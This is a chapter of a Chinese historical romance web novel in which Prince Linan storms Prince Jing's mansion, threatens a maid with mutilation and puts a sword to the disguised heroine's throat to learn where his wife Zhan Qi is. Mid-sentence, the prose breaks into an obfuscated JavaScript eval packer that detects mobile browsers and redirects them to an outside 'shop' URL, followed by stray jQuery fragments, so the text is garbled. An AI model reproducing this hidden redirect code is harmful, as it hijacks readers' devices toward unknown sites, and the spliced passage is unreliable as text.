晨光熹微,露水莹莹。街上人烟寥寥,只有些许营生之人摆着摊位。
一辆马车自景王府侧门驶出。
“……京中内外诸事都交待清楚了,我也可以放心离开。”展玥说着,声音都带了些沙哑。
她抻了抻发酸的手,“你离京这些年来,京中变化不大。阖府上下人丁并无流转……府上紫玉是可用之人,不过我与她平日里闲话甚少。你一时之间也别太同她亲近,免了露馅。”
“此外,先前那赵遂辛曾来过几回,都被我回绝了……此人如今是个麻烦,务必小心。”
驾车之人蒙着面,闻言回头应声道:“我知道了!自打咱们碰上以后,姑姑成夜里可都没停过话头……快吃口茶歇一歇吧。”
展玥横她一眼。
要不是她急着回去,早晚要收拾这没心没肺的人一顿!
先前她收到宁济传来的归家之信,昨日一早就在府上候着,候到了天黑却才等见人。
数年不见,自是百感交集,又因着宁济带来的讯息,一时间归心似箭。可此处又有宁济放心不下,于是只好一边收拾行囊一边着急同她叮嘱。
“到了。”
驶出城门后又驱车许久,终于停在一方游湖近旁。
宁济跳下马车,看着许久未见多了些岁月痕迹的展玥。她张了张嘴:“姑姑……”
临到别时,心下又生出万千情绪来,却是什么也说不出口。末了只憋出几个字:“姑姑路上小心。”
展玥负着行囊,点点头:“若我到了,自然回信。不必忧心。”
搭眼瞥向游湖,宁济老远看见一方不起眼的船舱驳在岸边:“可都打点好了?就是那辆?”
展玥道:“对。时候不早,我走了。你也顾好自己,早些回吧,府中若发现不见了景王,倒是个麻烦。”
临走了还不忘损她离去好几年之事……宁济点头,眉眼弯弯:“我知道了。”
亲眼看着展玥踏入船舱,待船舱悠悠驶离,直至驶出视线范围,宁济才转身离去。
殊不知,在她驾上马车离去后,一旁路边树影丛动,似乎亦有人撤身离去。
……
不对劲。
马车驶入景王府侧门前东街不久,宁济便皱起眉头。
沿路之上蓦地多出许多陌生兵士,站得笔直,守在街头巷尾,全然阻断寻常百姓行路。可唯独她这辆马车行来之时却未加阻拦。
再看向景王府那一头,看守之人只增不减……握着缰绳的手一顿,心缓缓沉了下去。
如此架势,如今恐怕只有一人做得出来。
犹疑不绝之时,马车停在了路边。便立即有人拱手上前,扬声道:“景王殿下,临安王求见。还请殿下当面叙话。”
回头看去,兵士已将来时路锁得严严实实。想必早已将此处把持在掌中,只候她登车回府,一头落入网里。
事到如今,便是不去也得去。观此境况,俨然无路可退。况且如今府邸已被控制,就算是退,又能去哪里?
想通此节,狂跳的心底反而平静下来。
行至正门前,宁济跳下马车,随即有人迎上前来:“景王殿下,冒犯了。”
一群披甲军士将景王府上下围得严严实实,打眼看去,大门敞开的府邸中用人守卫全被制住,无不战战兢兢,见着是她,却也只惶恐不安地立在原处,不敢有半点动静。
“冒犯?”宁济皮笑肉不笑:“如此才叫登门拜访,我这府邸何不摘了匾改成临安王别苑?”
那人充耳不闻她语中讽刺,只躬身道:“殿下,请吧。”
“临安王在里头候着您呢。”
她呼出胸中一点郁气,闭了闭眼,踏了进去。
被那军士一路半带威胁的请进自家正堂。明明是夏日,高门正殿,炎气不散,却不知为何通体生寒。
待瞧见堂前那久未重见的背影,才真真切切觉出一点恐惧来。
阶上之人背对着此处,一袭玄衣,多年不见,似乎又较从前抽长些许,肩阔腰直,全无了从前少年模样。
远远看着,竟生压迫。
“殿下,景王来了。”
传话人将她带来,恭敬行了一记礼,便下去了。
她停在原处,不自觉屏住呼吸,眼睁睁看着那人缓缓回过身来。
先映入眼帘的是那双狭长眉目。
眉色漆黑,从前轮廓还带着些许少年稚气,如今只剩下愈发锐利俊美的线条。可气势太甚,莫敢正视。
本就狭长冷峻的眼全无波动,漠然似沉灯。他单手轻轻搭在身侧佩剑上,转过眼来盯着人,只余毛骨悚然,但觉郁郁杀气。
明明才过弱冠年岁,却已经死气沉沉,全无从前桀骜少年模样。
那日只是隔着马车帘幕匆匆一瞥,如今亲眼目睹,唯剩惊心。
“殿下推拒再三,赵某只好亲自登门拜访了。”
赵遂辛看着她一步一步行来,语气阴鸷,如同正欲捕猎的鹰隼。
宁济用尽力气才抑制住腿脚,不叫自己下意识退后:“临安王,这是何意?擅闯亲王府邸,挟制府上之人……这是登门拜访之礼?”
赵遂辛看着她,瞳孔轻动,锁上她的面颊。
冰冷沉郁,但余漠然。
“赵某来此,只为问明一事。”
宁济咬紧牙关:“何事?”
“昨晚深夜到访景王府侧门的女子,人在何处?”
瞬间寒毛倒竖,通体生寒。
宁济猛然抬眼,不可置信道:“你……”
他竟早开始监视景王府邸!
他看到多少?发现了什么?他知道什么?难不成……
赵遂辛抽剑出鞘,指腹微微擦过冷冽如霜的剑身。似是漫不经心道:“方才殿下送离之人并不是她。昨夜那人,是谁?”
宁济闭口不言,心跳如擂鼓。
彼此心知肚明,他口中的“她”是谁!
看这意思,他竟是也跟踪过玥姑姑!不过恐怕是发现玥姑姑并不是他要找的人,所以才退而求其次……
宁济下颌绷紧,面无表情:“本王不知道殿下在说什么。”
赵遂辛不恼,只是唇角冷意渐甚。
“看来景王殿下是不愿意说实话了。”
他似是有些疲乏,轻轻抬起手道:“挨个盘问。”
“是!”
有从人躬身而出,挟着一卷画卷徐徐展开。
卷纸些微泛黄发旧,不知已展过多少遍,保护得倒是极为精心。
宁济瞳孔骤缩。
那画上之人……赫然是她原本模样!
赵遂辛脚步微动,偌大正堂内,只能听见他冰冷的脚步声。
从人手执画卷,抓来一人便厉声问:“昨夜有人深夜到访景王府,可知是谁?是否是这画中人模样?”
昨夜她归来后只同玥姑姑见过,会面之后便寻了间无人居所叙话。按理来说,府上应当无人知晓。可万一……
紫玉被一行人制住,吓得不自觉发抖,颤声道:“我不知道,我没见过画中之人……”
盘问之人声音提高,横眉倒竖,凶恶万分:“昨夜有人拜访,今晨府上马车送人出行!你也不知道?老实交代!”
一旁从人架起刀剑,铁器冷光,正对着她。
紫玉被这架势吓得瑟瑟发抖,却硬是摇了摇头,她语无伦次,带着哭腔道:“我、我真的不知道……你们再问,我都还是不知道……”
那人看向赵遂辛,面露难色:“殿下,这……”
赵遂辛淡声道:“既然什么都不知,要这舌头也无用,割了吧。”
“是!”
恐惧浸满了紫玉的眼睛,她失声叫道:“别……别过来,你们——”
未及反应过来,但见一众将士桎住紫玉,一执刀之人步上前去,手起刀落,眼见就要血染当场,宁济高声阻道:“慢着!”
“怎么?终于想起来了?”
赵遂辛看着她,目光漠然。
“展柒她,人在哪。”
终于听见这个名字,宁济
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386225|194509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张了张嘴,喉咙中干涩得说不出话。
她干巴巴问:“天下女子甚众,临安王何苦偏执着于这一人?为何不……不放过她?”
“为何……”
赵遂辛像是听到什么好笑的话,轻轻笑了起来,可那笑意森寒,全然未进眼底。直叫她毛骨悚然。
待笑够了,他眼皮微掀,冷冷道。
“她是我的妻。”
……妻?
妻?!
“什……”
像是被天外之物狠狠照着脑门敲了一记,宁济愕然至极,半晌才语无伦次道:“你、你的什么?她……这是何时的事?”
“与你无关。”
被方才讯息炸的浑浑噩噩,宁济头晕目眩,半晌才回神,后知后觉想起如何编造,颈前却蓦地横上一柄利刃。
赵遂辛道,“你只需回答,她在哪。”
若非他翻便全城却也寻不见那日凑巧看见的影子,他绝不可能同此人废话。
原本以为又是错觉,又是幻觉。
可短短数日,接二连三与她相关的消息……怎会如此巧合?
不知为何,看着景王面上茫然失措神情,心下竟生出诡异的情绪。
赵遂辛皱起眉头,白刃抵上颈前,轻而易举便能割出一道伤痕,叫这软弱无能之人殒命于此。
……若再任他查探下去,恐怕少不得翻出她前后不一致的变化来。
宁济牙关发颤,身子僵直,眼珠子瞟向颈前横着的雪刃。她后退半步,那剑锋随即迎上。再退半步,便被华柱绊住脚,狼狈地倚着身后石柱。
退无可退,她尽力仰起头:“临安王,有话好说……”
赵遂辛:“殿下或许不知,我如今耐心不多。”
眼见再无法隐瞒,亦不知他昨夜看见了多少。宁济只得勉强承认:“昨夜……是她。”
总算听见这两个字,赵遂辛周身都仿佛松懈下来,肩膀也泄了气力。
像是全部的力气终于用尽,支撑着沙漠中旅人的一点希望终于耗了干净,挺拔身躯竟摇摇欲坠。
“……是吗。”
他自语道:“……果真是她吗。”
他放下手,剑身撞在地上,碰出清脆响声。
她真的……还活着。
撑着他度过漫漫长夜的念想总算成真。
空落落的心头如同干涸已久终于生出水流的裂地一般,生动起来。
原先只想步步紧逼,如今只听闻这一句话,竟生出胆怯之情。千头万绪的话想问,盘旋在心口,一句也说不出来。
宁济硬着头皮道:“昨夜展柒……是来同我报平安的。我们也许久未见,昨夜方知她一切都好。可她说完就离开了,不知道去往何处。”
赵遂辛冷冷看着她,眼瞳处泛起深浅的红。他呼吸深重,终于有了些活人模样。
“她去了哪里?”
宁济瞠目结舌:“我真的不知……”
话音未落,颈前一点凉意欺上,这回竟带着浓重杀气。
她喉咙动了动,艰难咽下一口唾沫:“我……”
赵遂辛眼瞳深红,露出森白的齿列:“景王从前费尽心思,遣她埋伏在我身边。不就是想坐上那个位置吗?”
“我成全你。”
他横剑近了一寸,剑锋轻轻使了些力气,顿时,宁济脖颈上渗出些血迹来,殷红的血顺着剑锋和脖颈滚落下来。
映着亮光的剑身同血迹斑驳在一处,格外显眼。
白皙的颈上淌着赤色殷红的血……
赵遂辛瞳孔散了一瞬。他闭上眼,复又睁开。
有些晕眩。莫名其妙觉出畅快。像是什么东西顺着这刺眼的血迹一并流淌出来一样。
他将这一并归结为对此人的厌恶。
赵遂辛:“若想要那个位置,拿她来换。”
赵遂辛:“我只要展柒。”
宁济紧紧抿着嘴唇,面无表情。
她浑身发颤,不自觉拽住左腕黑绸手衣,死死拽着,生怕它坠落在地。